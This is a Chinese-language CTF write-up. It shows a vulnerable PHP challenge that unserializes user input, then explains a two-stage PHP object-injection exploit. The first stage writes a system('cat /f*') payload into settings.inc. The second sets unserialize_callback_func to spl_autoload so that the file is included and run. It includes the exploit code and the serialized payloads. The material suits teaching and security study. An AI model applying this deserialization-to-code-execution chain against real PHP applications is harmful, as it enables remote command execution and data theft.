<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2021-04-22 17:44:48 # @Last Modified by: h1xa # @Last Modified time: 2021-04-26 11:30:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); class main{ public $settings; public $params; public function __construct(){ $this->settings=array( 'display_errors'=>'On', 'allow_url_fopen'=>'On' ); $this->params=array(); } public function __wakeup(){ foreach ($this->settings as $key => $value) { ini_set($key, $value); } } public function __destruct(){ file_put_contents('settings.inc', unserialize($this->params)); } } unserialize($_GET['data']);
分析代码可得知,settings可设定配置选项的值,params是在类销毁时,在settings.inc文件中写入的值。
通过ini_set设定配置选项,此处可利用unserialize_callback_func
——如果函数名是一个不存在的类,则会以unserialize()的形式来调用该回调函数,函数名是类名。这里利用spl_autoload:
通过PHP手册了解到,该函数的第二个参数如果为默认值,则使用.inc或.php作为扩展名。
该题正好会将unserialize($this->params)
的值写入settings.inc中,符合函数要求。因此构造:
<?php class settings{ } class main{ public $settings; public $params; public function __construct(){ $this->settings=array( 'unserialize_callback_func'=>'spl_autoload', ); $this->params=serialize("<?php system('cat /f*');"); } } $a = new main(); echo serialize($a);
运行后得到:
O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:32:"s:24:"<?php system('cat /f*');";";}
其写入settings.inc后,构造:
<?php class settings{ } class main{ public $settings; public $params; public function __construct(){ $this->settings=array( 'unserialize_callback_func'=>'spl_autoload', ); $this->params=serialize(new settings()); } } $a = new main(); echo serialize($a);
运行后得到
O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:19:"O:8:"settings":0:{}";}
因为该类并不存在,所以会包含settings.inc中的内容,得到flag。